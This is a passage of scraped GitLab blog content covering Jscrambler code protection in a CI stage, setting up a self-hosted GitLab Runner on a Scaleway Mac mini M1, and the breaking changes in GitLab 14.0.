artifacts:\n   name: \"$CI_JOB_NAME\"\n   when: on_success\n   paths:\n     - build\n   expire_in: 1 week\n script:\n   # By default, all artifacts from previous stages are passed to each job.\n   - jscrambler -a $JSCRAMBLER_ACCESS_KEY -s $JSCRAMBLER_SECRET_KEY -o ./ build/**/*.*\n```\n\nThis stage starts by installing the Jscrambler npm package globally. Next, it is configured to execute Jscrambler at the end of each new production build process. Typically, you will want to ensure that Jscrambler is the last stage of your build process, because Jscrambler transforms the source code extensively and can also add [anti-tampering protections](https://docs.jscrambler.com/code-integrity/documentation/transformations/self-defending). This means changing the files after they have been protected by Jscrambler may break the app functionality.\n\nThis `protect` stage is configured to access the Jscrambler API keys that have been loaded as GitLab environment variables. Finally, the output of the protection is placed into the same `/build` folder and made available as a GitLab CI artifact for posterior use (e.g., a deploy job).\n\nNote that while this example shows how to use the Jscrambler CLI client to protect the code, Jscrambler is compatible with [other clients](https://docs.jscrambler.com/code-integrity/documentation/api/clients), such as Grunt, Gulp, webpack, Ember, and Metro (React Native).\n\nAnd, that's all there is to it! You can configure your `deploy` stage as usual, which should access the contents of the `build/` folder and ensure your protected files are available in a live production environment.\n\n### Checking the protection result\n\nAs a final (optional) step, you might want to check the live app and see what its source code looks like. You can do that easily by using a browser debugger and opening the files from the \"Sources\" tab. The protected code should look completely unintelligible, similar to the one shown below.\n\n![Source code protected by Jscrambler](https://i.imgur.com/HXLZyFh.png)\nExample of murky source code protected by Jscrambler.\n{: .note.text-center}\n\nJust bear in mind that, in case you are using Jscrambler's anti-debugging transformations, your browser debugger will likely crash or derail the app execution. This is intended behavior, which is very useful to prevent reverse-engineering of the code.\n\n## Final thoughts\n\nAs we saw in this tutorial, setting up this integration between Jscrambler and GitLab is very straightforward. It introduces a new `protect` stage where the JavaScript source code is protected by Jscrambler before deployment.\n\nJscrambler goes well beyond JavaScript obfuscation since it provides runtime protection techniques such as [self defending](https://docs.jscrambler.com/code-integrity/documentation/transformations/self-defending) and [self healing](https://docs.jscrambler.com/code-integrity/documentation/transformations/self-healing), which provide anti-tampering and anti-debugging capabilities, as well as [code locks](https://docs.jscrambler.com/code-integrity/documentation/client-side-countermeasures). For more details about Jscrambler transformations, review [Jscrambler's documentation page](https://docs.jscrambler.com/).\n\n## Watch the demo\n\nMore of a video person? Watch the demo on how to protect your source code using GitLab and Jscrambler.\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/aBx2Vtbe-1w\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[4103,674,676],{"slug":18242,"featured":6,"template":678},"how-to-protect-your-source-code-with-gitlab-and-jscrambler","content:en-us:blog:how-to-protect-your-source-code-with-gitlab-and-jscrambler.yml","How To Protect Your Source Code With Gitlab And Jscrambler","en-us/blog/how-to-protect-your-source-code-with-gitlab-and-jscrambler.yml","en-us/blog/how-to-protect-your-source-code-with-gitlab-and-jscrambler",{"_path":18248,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18249,"content":18254,"config":18260,"_id":18262,"_type":16,"title":18263,"_source":17,"_file":18264,"_stem":18265,"_extension":20},"/en-us/blog/tuto-mac-m1-gitlab-ci",{"title":18250,"description":18251,"ogTitle":18250,"ogDescription":18251,"noIndex":6,"ogImage":12013,"ogUrl":18252,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18252,"schema":18253},"How to use Scaleway to self-host your GitLab Runners","Learn how to set up GitLab CI for your iOS and macOS projects using a hosted Mac mini M1.","https://about.gitlab.com/blog/tuto-mac-m1-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use Scaleway to self-host your GitLab Runners\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Benedikt Rollik\"}],\n        \"datePublished\": \"2021-06-07\",\n      }",{"title":18250,"description":18251,"authors":18255,"heroImage":12013,"date":18257,"body":18258,"category":734,"tags":18259},[18256],"Benedikt Rollik","2021-06-07","\nGitLab's complete DevOps platform comes with built-in continuous integration (CI) and continuous delivery (CD) via [GitLab CI/CD](https://docs.gitlab.com/ee/ci/). GitLab CI/CD is a great solution to increase developer productivity and motivation to write higher-quality code without sacrificing speed. It runs a series of tests every time a commit is pushed, providing immediate visibility into the results of changes in the codebase. While it is not a hassle to set up a CI using Linux-based machines, iOS and macOS developers may find it is more complicated to have access to a Mac that is connected and available 24 hours a day.\n\nGitLab Runners, provided on GitLab.com, are the engine that executes CI workflows. Due to various requirements, some users may opt to self-host runners on public cloud VMs. This is super easy if the build VM OS requirement is Linux-based since there are several low-cost public cloud Linux-based VM solutions. However, iOS and macOS developers may find fewer options for public cloud-delivered macOS based systems.\n\nIn this blog post tutorial, you will learn how to set up CI for iOS and macOS application development using a Scaleway Virtual Instance running the [GitLab application](https://www.scaleway.com/en/docs/install-gitlab-with-dbaas/) and a GitLab Runner that runs on a Scaleway-hosted [Mac mini M1](https://www.scaleway.com/en/hello-m1/). To complete this tutorial most successfully, we assume that you have some experience creating Xcode and GitLab projects, as well as some experiences using a Terminal and git.\n\n> **Requirements**\n>\n- You have an account and are logged into [console.scaleway.com](https://console.scaleway.com)\n- You have [configured your SSH Key](https://www.scaleway.com/en/docs/configure-new-ssh-key/)\n- You have a Virtual Instance running the GitLab InstantApp\n- **Note:** We assume you have already deployed a Virtual Instance running the GitLab InstantApp. If not, [deploy GitLab](https://www.scaleway.com/en/docs/install-gitlab-with-dbaas/) before continuing with this tutorial.\n\n### Deploying the Mac mini M1\n\n1. Log into your [Scaleway console](https://console.scaleway.com) and click on **Apple silicon** in the **Compute** section of the sidebar.\n\n   ![Orga_dashboard](https://about.gitlab.com/images/blogimages/scaleway-blog/Orga_dashboard.png){: .shadow.medium}\n   Click on the \"Apple silicon\" in the Scaleway console.\n   {: .note.text-center}\n\n1. The Apple silicon M1 as-a-Service splash screen displays. Click **Create a Mac mini M1**.\n1. Enter the details for your Mac mini M1:\n\n   - Select the geographic region in which your Mac mini M1 will be deployed.\n   - Choose the macOS version you want to run on the Mac mini M1.\n   - Select the hardware configuration for your Mac mini M1.\n   - Enter a name for your Mac mini M1.\n\n1. Click **Create a Mac mini M1** to launch the installation of your Apple silicon M1 as-a-Service.\n\n   ![M1_creation](https://about.gitlab.com/images/blogimages/scaleway-blog/M1_creation.png){: .shadow.medium}\n   Click \"Create a Mac mini M1\" to launch.\n   {: .note.text-center}\n\n1. Once deployed click **VNC** from the Mac mini M1 Overview page to launch the remote desktop client.\n\n1. Launch the **App Store** and install the **Xcode development environment** on your Mac mini M1.\n\n### Setting-up the Homebrew package manager\n\n[Homebrew](https://brew.sh/) is a package manager for macOS. It can be used to manage the software installed on your Mac. We use it to install `gitlab-runner` on your Mac mini M1.\n\n1. Click on the Terminal icon to open a new **Terminal**.\n\n1. Copy-paste the following code in the terminal application and press **Enter** to install Homebrew and the Xcode command line tools:\n\n   ```sh\n   /bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"\n   ```\n\nLeave the terminal window open since it is required for the next step.\n\n#### Installing the GitLab Runner\n\nThe GitLab Runner is an application installed on a different computer than your GitLab host and runs jobs in a pipeline. It executes the build task on your Mac mini M1 for the code you push to your GitLab instance.\n\n1. Make sure you are still in the **Terminal** application. If you closed it after installing Homebrew, open a new one.\n\n1. Run the following command to install `gitlab-runner`:\n\n   ```\n   brew install gitlab-runner\n   ```\n\n### Configuring the Runner in GitLab\n\n   > **Note:** You require a Virtual Instance running the [GitLab InstantApp](https://www.scaleway.com/en/docs/how-to-use-the-gitlab-instant-apps/) for the following steps.\n\n1. GitLab Runner requires a registration token for the link between your GitLab Instance and the Runner. Open the GitLab web interface of your Virtual Instance and log into it.\n\n1. Select the project you want to use in GitLab with the Runner. If you don't have a project yet, click **+** > **Create Project** and fill in the required information about the project.\n\n1. On the projects overview page, click **Settings** > **CI/CD** to view the Continuous Integration settings.\n\n1. On the Continuous Integration settings page, click **Expand** in the **Runner** section to view the required information to link GitLab with your Runner.\n\n1. Scroll down to retrieve the GitLab Instance URL and the registration token.\n\n1. Run the following command in the Terminal application on your Mac to launch the configuration wizard for your GitLab Runner:\n\n   ```\n   gitlab-runner register\n   ```\n\n   Enter the required information as follows:\n\n   ```\n   Runtime platform                                    arch=arm64 os=darwin pid=810 revision=2ebc4dc4 version=13.9.0\n   WARNING: Running in user-mode.\n   WARNING: Use sudo for system-mode:\n   WARNING: $ sudo gitlab-runner...\n\n   Enter the GitLab instance URL (for example, https://gitlab.com/):\n   http://163.172.141.212/   \u003C- Enter the URL of your GitLab instance\n   Enter the registration token:\n   1mWBwzWAZSL7-pR18K3Y  \u003C- Enter the registration token for your Runner\n   Enter a description for the runner:\n   [306a20a2-2e01-4f2e-bc76-a004d35d9962]: Mac mini M1  \u003C- Enter a description for your Runner\n   Enter tags for the runner (comma-separated):\n   Mac, mini, M1, dev, xcode  \u003C- Optionally, enter tags for the runner\n   Registering runner... succeeded                     runner=1mWBwzWA\n   Enter an executor: shell, virtualbox, docker+machine, custom, docker, docker-ssh, kubernetes, parallels, ssh, docker-ssh+machine:\n   shell  \u003C- Enter the \"shell\" executor for the runner\n   Runner registered successfully. Feel free to start it, but if it's running already the config should be automatically reloaded!\n   ```\n\n1. Reload the CI/CD configuration page of your GitLab instance. The runner is now linked to your project and displays as available.\n\n   > **Note:** If you have several projects in a GitLab group, you can configure the Runner at the group-level. Runners available at the group-level are available for all projects within said group.\n\n### Configuring CI for your project\n\nGitLab stores the configuration of the CI in a file called `.gitlab-ci.yml`. This file should be in the folder you created for your project. Typically this is the same directory where your Xcode project file (`ProjectName.xcodeproj`) is located. The GitLab CI configuration file is written in [YAML](https://yaml.org/).\n\nInside the configuration file you can specify information like:\n\n* The scripts you want to run.\n* Other configuration files and templates you want to include.\n* Dependencies and caches.\n* The commands you want to run in sequence and those you want to run in parallel.\n* The location to deploy your application to.\n* Whether you want to run the scripts automatically or trigger any of them manually.\n\n1. Open a text editor on your local computer and create the `.gitlab-ci.yml` file as in the following example.\n\n   ```\n   stages:\n     - build\n     - test\n\n   build-code-job:\n     stage: build\n     script:\n       - echo \"Check the ruby version, then build some Ruby project files:\"\n       - ruby -v\n       - rake\n\n   test-code-job1:\n     stage: test\n     script:\n       - echo \"If the files are built successfully, test some files with one command:\"\n       - rake test1\n   ```\n\n1. Save the file and make a new commit to add it to your repository.\n\n1. Push the commit to GitLab. The CI will automatically launch the tasks on your Runner.\n\nFor more information on the GitLab CI configuration file, refer to the [official documentation](https://docs.gitlab.com/ee/ci/yaml/gitlab_ci_yaml.html).\n\n### Speed up development with Scaleway and GitLab\n\nHaving a dedicated Mac available for executing your CI jobs can reduce your development team's cycle time. In this tutorial, we covered configuring a dedicated Mac mini M1 to host a GitLab Runner. If you want to learn more about the Mac mini M1 as-a-Service, refer to our [product documentation](https://www.scaleway.com/en/docs/apple-silicon-as-a-service-quickstart/).\nWe invite the GitLab community to start building on Scaleway today with a €10 voucher to use on dozens of products & services. Find out more [here.](https://www.scaleway.com/en/gitlab-m1/)\n\n\u003Chr>\n\n_Mac mini, macOS are trademarks of Apple Inc., registered in the U.S. and other countries and regions. IOS is a trademark or registered trademark of Cisco in the U.S. and other countries and is used by Apple under license. Scaleway is not affiliated with Apple Inc._\n",[1067,944,944],{"slug":18261,"featured":6,"template":678},"tuto-mac-m1-gitlab-ci","content:en-us:blog:tuto-mac-m1-gitlab-ci.yml","Tuto Mac M1 Gitlab Ci","en-us/blog/tuto-mac-m1-gitlab-ci.yml","en-us/blog/tuto-mac-m1-gitlab-ci",{"_path":18267,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18268,"content":18273,"config":18278,"_id":18280,"_type":16,"title":18281,"_source":17,"_file":18282,"_stem":18283,"_extension":20},"/en-us/blog/gitlab-moving-to-14-breaking-changes",{"title":18269,"description":18270,"ogTitle":18269,"ogDescription":18270,"noIndex":6,"ogImage":14496,"ogUrl":18271,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18271,"schema":18272},"GitLab.com is moving to 14.0 with a few breaking changes","These are the features that will be deprecated in GitLab 14.0.","https://about.gitlab.com/blog/gitlab-moving-to-14-breaking-changes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab.com is moving to 14.0 with a few breaking changes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Orit Golowinski\"}],\n        \"datePublished\": \"2021-06-04\",\n      }",{"title":18269,"description":18270,"authors":18274,"heroImage":14496,"date":18275,"body":18276,"category":299,"tags":18277},[15485],"2021-06-04","\n## GitLab 14.0: Our annual major release\n\nGitLab 14.0 is coming to GitLab.com. Along with the [exciting new features](https://www.youtube.com/embed/Z1FqGH0pNvo), it also includes [planned deprecations](/releases/2021/05/22/gitlab-13-12-released/#release-deprecations) because it is the major version release for 2021. We try to minimize breaking changes, but some changes are needed to improve workflows, performance, scalability, and more.\n\nThese changes will go live on GitLab.com sometime between May 23 – June 22, through our [daily deployments](/handbook/engineering/infrastructure/library/scheduled-daily-deployments/), leading up to the official release of 14.0 on June 22. Keep reading to learn more about these important changes.\n\nGitLab 14.0 for self-managed users will also be released on June 22, [read on for more information about deprecations and removals for self-managed instances](/releases/2021/05/22/gitlab-13-12-released/#release-deprecations).\n\n## Plan\n\n### Removed deprecated GraphQL fields\n\nIn accordance with our [GraphQL deprecation process](https://docs.gitlab.com/ee/api/graphql/#deprecation-process), the following fields, enum names, and mutation aliases that were deprecated on or before GitLab version 13.6 are [permanently removed from our GraphQL API in 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/267966).\n\nFields:\n\n- `Mutations::Todos::MarkAllDone` - `updated_ids`\n- `Mutations::Todos::RestoreMany` - `updated_ids`\n- `Mutations::DastScannerProfiles::Create` - `global_id`\n- `TimeFrameArguments (concern*)` - `start_date`\n- `TimeFrameArguments (concern*)` - `end_date`\n- `Types::SnippetType` - `blob`\n- `Types::DastScannerProfileType` - `global_id`\n- `EE::Types::GroupType` - `vulnerabilities_count_by_day_and_severity`\n- `EE::Types::QueryType` - `vulnerabilities_count_by_day_and_severity`\n\nEnums (each replaced by the upper-case version, such as `updated_desc` -> `UPDATED_DESC`):\n\n- `Types::SortEnum` - `updated_desc`\n- `Types::SortEnum` - `updated_asc`\n- `Types::SortEnum` - `created_desc`\n- `Types::SortEnum` - `updated_asc`\n\nMutation aliases:\n\n- `DeprecatedMutations (concern**)` - `AddAwardEmoji`\n- `DeprecatedMutations (concern**)` - `RemoveAwardEmoji`\n- `DeprecatedMutations (concern**)` - `ToggleAwardEmoji`\n- `EE::Types::DeprecatedMutations (concern***)` - `Mutations::Pipelines::RunDastScan`\n- `EE::Types::DeprecatedMutations (concern***)` - `Mutations::Vulnerabilities::Dismiss`\n- `EE::Types::DeprecatedMutations (concern***)` - `Mutations::Vulnerabilities::RevertToDetected`\n\nFor mutation aliases, the concern name isn't as important as the name of the mutation itself. While you can't use **this particular name** anymore, we provide alternatives in our GraphQL documentation.\n\n## Create\n\n### Name change of default branch in Git\n\nEvery Git repository has an initial branch, which is the first branch that is automatically generated when you create a new repository. By default, this initial branch is named `master`. In Git version 2.31.0 – released [March 15th, 2021](https://www.google.com/calendar/event?eid=NG03dTF0YWU4cnMyMmc5bzJoMjVyYTZwcXEgamZnYmwybXJsaXBwNHBiNmllaWgwcXIzc29AZw&ctz=America/Los_Angeles) – the default Git branch name changed to `main`. In coordination with the Git project and the broader community, GitLab is changing the default branch name for new projects on both our [SaaS](/pricing/feature-comparison/) (GitLab.com) and self-managed offerings, starting with GitLab 14.0.\n\nFor more information, see the related [epic](https://gitlab.com/groups/gitlab-org/-/epics/3600), [documentation](https://docs.gitlab.com/ee/user/project/repository/branches/default.html), and the Git [mailing list discussion](https://lore.kernel.org/git/xmqqa6vf437i.fsf@gitster.c.googlers.com/T/#t).\n\n### Deprecated legacy Gitaly cluster primary electors\n\nNow that Praefect supports a [`per_repository` primary election strategy](https://docs.gitlab.com/ee/administration/gitaly/praefect.html#repository-specific-primary-nodes), GitLab 14.0 removes the legacy strategies deprecated in GitLab 13.12:\n\n- The `local` elector is not supported in production, and should not affect production instances.\n- The `sql` elector is incompatible with the [variable replication factor](https://docs.gitlab.com/ee/administration/gitaly/praefect.html#configure-replication-factor) feature.\n\nIf you use the `local` or `sql` primary electors, we recommend you update to the `per_repository` election strategy as soon as possible. Read the [migration documentation](https://docs.gitlab.com/ee/administration/gitaly/praefect.html#migrate-to-repository-specific-primary-gitaly-nodes) to learn more.\n\n### WIP merge requests renamed \"draft merge requests\"\n\n[WIP (work in progress) status](/blog/feature-highlight-wip/) for merge requests provide a clear signal to reviewers that the merge request in question is not ready to be merged. The WIP feature for merge requests has been renamed to \"Draft\", a more inclusive and self-explanatory term. \"Draft\" clearly communicates the merge request in question isn't ready for review, and makes no assumptions about the progress being made toward it. \"Draft\" also reduces the cognitive load for new users, non-English speakers, and anyone unfamiliar with the WIP acronym.\n\nWIP merge requests were deprecated in favor of **draft** merge requests, and are [removed entirely](https://gitlab.com/gitlab-org/gitlab/-/issues/228685) in GitLab 14.0.\n\n## Manage\n\n### Deprecated GitLab OAuth implicit grants\n\nGitLab 14.0 deprecates the [OAuth 2 implicit grant flow](https://docs.gitlab.com/ee/api/oauth2.html#implicit-grant-flow), as it has been removed for [OAuth 2.1](https://oauth.net/2.1/).\n\nBeginning in GitLab 14.0, you can't create new applications with the OAuth 2 implicit grant flow. Existing OAuth implicit grant flows will become unsupported in GitLab 14.4. Migrate existing applications to other supported [OAuth2 flows](https://docs.gitlab.com/ee/api/oauth2.html#supported-oauth2-flows) before GitLab 14.4.\n\n### Removed `CI_PROJECT_CONFIG_PATH` predefined project variable\n\nThe `CI_PROJECT_CONFIG_PATH` predefined project variable is removed in favor of the `CI_CONFIG_PATH` variable, which is functionally the same. If you are using `CI_PROJECT_CONFIG_PATH` in your pipeline configurations update to use `CI_CONFIG_PATH` instead.\n\n### Expired SSH keys disabled by default\n\nStarting in GitLab 14.0, expired [SSH keys added to GitLab](https://docs.gitlab.com/ee/user/ssh.html) are disabled by default. This changes the current behavior, which allows expired SSH keys to be used unless explicitly disabled by an administrator. Administrators can still allow the use of expired keys in the same way as they can [override expiration settings](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#optional-non-enforcement-of-personal-access-token-expiration) for personal access tokens.\n\n## Verify\n\n### Changes to Code Quality Rubocop support\n\nCurrently, by default, the Code Quality feature doesn't provide support for Ruby 2.6+ if you're using the Code Quality template.\n\nTo better support the latest versions of Ruby, we are changing the default Rubocop version to add support for Ruby 2.4 through 3.0. Support for Ruby 2.1, 2.2, and 2.3 is dropped as a result of this change. To enable support for older versions, [customize your configuration](https://docs.gitlab.com/ee/ci/testing/code_quality.html). Read the relevant issue [\"Default `codeclimate-rubocop` engine does not support Ruby 2.6+\"\"](https://gitlab.com/gitlab-org/ci-cd/codequality/-/issues/28) to learn more about this change.\n\n### Renamed default Browser Performance Testing job\n\nBrowser Performance Testing currently runs in a job named `performance` by default. This name can be confused with [Load Performance Testing](https://docs.gitlab.com/ee/ci/testing/load_performance_testing.html), introduced in GitLab 13.2. To make clear which job is running Browser Performance Testing, GitLab 14.0 renames the default job name from `performance` to `browser_performance` in the template. Read the relevant issue [\"Rename default Browser Performance Testing job\"](https://gitlab.com/gitlab-org/gitlab/-/issues/225914) to learn more about this change.\n\n### Ruby version changing in `Ruby.gitlab-ci.yml`\n\nThe `Ruby.gitlab-ci.yml` template contains changes to better support new versions of Ruby. Previously, the `Ruby.gitlab-ci.yml` file included Ruby 2.5. To better support the latest versions of Ruby, the template now uses `ruby:latest`, which is currently Ruby 3.0. Read the [ruby-lang.org release announcement](https://www.ruby-lang.org/en/news/2020/12/25/ruby-3-0-0-released/) to learn more about the changes to Ruby, and explore our relevant issue, [\"Updates Ruby version 2.5 to 3.0\"](https://gitlab.com/gitlab-org/gitlab/-/issues/329160) to learn more about the change.\n\n### GitLab Runner: Package installation ignores `skel` directory during installation\n\nIn GitLab Runner 14.0, the installation process ignores the `skel` directory by default when creating the user's home directory. For more details about this breaking change, read the [deprecation issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4845).\n\n### GitLab Runner: PowerShell Core as default shell for newly registered Runners on Windows\n\nBeginning in GitLab Runner 14.0, newly registered Windows Runners default to adding PowerShell Core (`pwsh`) as the default shell in the `config.toml` file, instead of the legacy Windows PowerShell (`powershell`).\n\n### GitLab Runner: Remove support for Windows Server 1909 image\n\nMicrosoft ended support for Windows Server version 1909 on May 11, 2021. In keeping with our [support policy](https://docs.gitlab.com/runner/install/windows.html) for Windows Server, GitLab 14.0 removes Windows 1909 support from GitLab Runner. If you are still using Windows Server 1909, then `docker-windows` on GitLab Runner 14.0 or higher will no longer work. For additional details regarding this breaking change, read the [deprecation issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/27899).\n\n## Release\n\n### Renewed template for Auto DevOps: Stable Auto Deploy\n\nGitLab 14.0 renews the [Auto Deploy](https://docs.gitlab.com/ee/topics/autodevops/stages.html#auto-deploy) CI template to the latest version. This includes new features, bug fixes, and performance improvements with a dependency on the `v2` [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image). This latest template is opt-in, meaning, unless you specifically customize Auto DevOps in your project, it uses the stable template with a dependency on the `v1` auto-deploy-image.\n\nThe `v1` and `v2` versions are not backward compatible, so your project might encounter an unexpected failure if you already have a deployed application. Please follow the [upgrade guide](https://docs.gitlab.com/ee/topics/autodevops/upgrading_auto_deploy_dependencies.html#upgrade-guide) to upgrade your environments. You can also start using the latest template today by following the [early adoption guide](https://docs.gitlab.com/ee/topics/autodevops/upgrading_auto_deploy_dependencies.html#early-adopters).\n\n### Deprecated release description in the Tags API\n\nGitLab 14.0 removes support for the release description in the Tags API. You can no longer add a release description when [creating a new tag](https://docs.gitlab.com/ee/api/tags.html#create-a-new-tag). You also can't [create](https://docs.gitlab.com/ee/api/tags.html#create-a-new-release) or [update](https://docs.gitlab.com/ee/api/tags.html#update-a-release) a release through the Tags API. You should migrate to the [Releases API](https://docs.gitlab.com/ee/api/releases/#create-a-release) instead.\n\n### Deprecated `disk` source configuration for GitLab Pages\n\nGitLab Pages [API-based configuration](https://docs.gitlab.com/ee/administration/pages/#gitlab-api-based-configuration) has been available since GitLab 13.0, and will replace the `disk` source configuration which GitLab 14.0 removes. We recommend that you stop using `disk` source configuration, since it is no longer supported and cannot be selected. Use `gitlab` for an API-based configuration instead. To migrate away from the `disk` source configuration, set `gitlab_pages['domain_config_source'] = \"gitlab\"` in your `gitlab.rb/etc/gitlab/gitlab.rb` file. We recommend that you do this before GitLab 14.0 so you can find and troubleshoot any potential problems ahead of time.\n\n### Deprecated legacy feature flags\n\nLegacy feature flags became read-only in GitLab 13.4, and GitLab 14.0 removes support for them. You must [migrate your legacy feature flags](https://docs.gitlab.com/ee/operations/feature_flags.html#legacy-feature-flag-migration) to the new version, as described in the [documentation](https://docs.gitlab.com/ee/operations/feature_flags.html). Watch the video tutorial below for help with the migration:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/CAJY2IGep7Y\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Package\n\n### Empty container registries will have the cleanup policies turned off\n\nThe [cleanup policy](https://docs.gitlab.com/ee/user/packages/container_registry/#cleanup-policy) is a scheduled job you can use to remove or preserve tags from the Container Registry. In GitLab 14.0, we will make an update that will turn the cleanup policy feature off for projects that have no container images in their registry. Moving forward, a recurring job will regularly run to ensure that projects with no container images do not have the cleanup policy feature turned on.\n\nThis change significantly improves the performance and reliability of the feature and allows us to prioritize exciting usability features like a preview-run, as proposed in the issue, [\"Expiration policy dry-run and forced run\"](https://gitlab.com/gitlab-org/gitlab/-/issues/223732).\n\nIf this change affects you, you can easily [enable the feature again](https://docs.gitlab.com/ee/user/packages/container_registry/#create-a-cleanup-policy) by following the steps in the documentation.\n\n## Configure\n\n### Removed one-click GitLab Managed Apps\n\nGitLab 13.7 deprecated the one-click install of GitLab Managed Apps, and GitLab 14.0 removes them entirely. Although GitLab Managed Apps made it easy to start deploying to Kubernetes from GitLab, feedback from the community was that they were not flexible or customizable enough for real-world Kubernetes applications. Our new direction focuses on [installing apps on Kubernetes with GitLab CI/CD](https://docs.gitlab.com/ee/update/removals.html) to provide a better balance between ease-of-use and extensive customization.\n\nThis removal does not affect how existing managed applications run inside your cluster. However, you no longer can update or modify those applications in the GitLab UI.\n\nWe recommend cluster administrators to [migrate any existing managed applications to the project template](https://docs.gitlab.com/ee/user/clusters/migrating_from_gma_to_project_template.html).\n\n### New Terraform template version\n\nAs we continuously develop GitLab's Terraform integrations, to minimize customer disruption, we maintain two GitLab CI/CD templates for Terraform:\n\n- The [\"latest version\" template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml), which is updated frequently between minor releases of GitLab (such as 13.10, 13.11, etc).\n- The [\"major version\" template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml), which is updated only at major releases (such as 13.0, 14.0, etc).([View the new \"major version\" template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml).)\n\nAt every major release of GitLab, the \"latest version\" template becomes the \"major version\" template, inheriting the \"latest template\" setup. As we have added many new features to the Terraform integration, the new setup for the \"major version\" template can be considered a breaking change.\n\nThe latest template supports the [Terraform Merge Request widget](https://docs.gitlab.com/ee/user/infrastructure/iac/mr_integration.html) and doesn't need additional setup to work with the [GitLab managed Terraform state](https://docs.gitlab.com/ee/user/infrastructure/iac/terraform_state.html).\n\n### Renewed template for Terraform\n\nGitLab 14.0 renews the Terraform CI/CD template to the latest version. The new template is set up for the GitLab Managed Terraform state. It includes a dependency on the GitLab `terraform-images` image to improve the user experience with GitLab's [Infrastructure as Code](https://docs.gitlab.com/ee/user/infrastructure/#quick-start) features.\n\nSince the current stable and latest templates are incompatible, and the latest template becomes the stable template GitLab 14.0, your Terraform pipeline might encounter an unexpected failure if you run a custom `init` job.\n\n### Auto Build uses Cloud Native Buildpacks by default\n\nIn GitLab 14.0, Auto Build now defaults to Cloud Native Buildpacks instead of Herokuish when no `Dockerfile` is present. Users depending on the `/bin/herokuish` binary provided by Herokuish should either change their deployments to use `/cnb/lifecycle/launcher` instead of `/bin/herokuish exec`, or opt-out of using Cloud Native Buildpacks, by setting the CI variable `AUTO_BUILD_IMAGE_CNB_ENABLED` to `false`.\n\n## Secure\n\n### Removals for SAST and Secret Detection\n\nThis release removes or migrates several variables:\n\n- [Removes the SAST Analyzer variable](/releases/2021/04/22/gitlab-13-11-released/#remove-sast-analyzer-sast_gosec_config-variable-in-favor-of-custom-rulesets) `SAST_GOSEC_CONFIG` in favor of custom rulesets for expanded configuration and consistency.\n- [Removes the global variable](/releases/2021/04/22/gitlab-13-11-released/#deprecating-global-%60sast_analyzer_image_tag%60-in-sast-ci-template) `SAST_ANALYZER_IMAGE_TAG` in favor of analyzer-specific variables to provide more granular control of versioning analyzers.\n- [Migrates the variable](/releases/2021/04/22/gitlab-13-11-released/#migrate-from-sast_default_analyzers-to-sast_excluded_analyzers) `SAST_DEFAULT_ANALYZERS` to `SAST_EXCLUDED_ANALYZERS` for better forward compatibility.\n\nThis release also removes the `secret_detection_default_branch` job in our managed `Secret-Detection.gitlab-ci.yml` template to reduce CI complexity.\n\nIf you override or maintain custom versions of `SAST.gitlab-ci.yml` or `Secret-Detection.gitlab-ci.yml`, update your CI templates. We strongly encourage you [inherit and override our managed CI templates](https://docs.gitlab.com/ee/user/application_security/secret_detection/#custom-settings-example) to future-proof your CI templates.\n\n### Removed the License-Management CI template\n\nIn 13.0, we deprecated the License-Management CI template and renamed it License-Scanning. GitLab 14.0 completely removes the License-Management CI template. We have been providing backward compatibility by warning users of the old template to switch. Read the change in the [relevant issue #216261](https://gitlab.com/gitlab-org/gitlab/-/issues/216261) or [blog post](/blog/composition-analysis-14-deprecations-and-removals/).\n\n### Deprecations for Dependency Scanning\n\nTo exclude a DS analyzer previously you needed to remove it from the default list of analyzers and use that to set the `DS_DEFAULT_ANALYZERS` variable in your project’s CI template. We determined it should be easier to avoid running a particular analyzer without losing the benefit of newly added analyzers. Now you should be able to migrate from `DS_DEFAULT_ANALYZERS` to `DS_EXCLUDED_ANALYZERS` as [described in the documentation](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/analyzers.html#disable-specific-analyzers). Read more about the change in [relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/287691), the [13.9 release post](/releases/2021/02/22/gitlab-13-9-released/#deprecations-for-dependency-scanning), and [the relevant blog post](/blog/composition-analysis-14-deprecations-and-removals/).\n\nTo prevent the Gemnasium analyzers to fetch the advisory database at runtime, you previously had to set the `GEMNASIUM_DB_UPDATE` variable. But this is not documented properly and its naming is inconsistent with the equivalent `BUNDLER_AUDIT_UPDATE_DISABLED` variable. You should migrate from `GEMNASIUM_DB_UPDATE` to `GEMNASIUM_UPDATE_DISABLED` when it is available. Read about the change in the [relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215483).\n\n### DAST environment variable renaming and removal\n\nGitLab 13.8 renamed multiple environment variables to support broader usage in different workflows. GitLab 14.0 permanently removes these variables, and they no longer work. If you use the old variables in your configuration it's time to update to the new variable names. Any scans using these variables in GitLab 14.0 and later will fail to be configured correctly:\n\n-  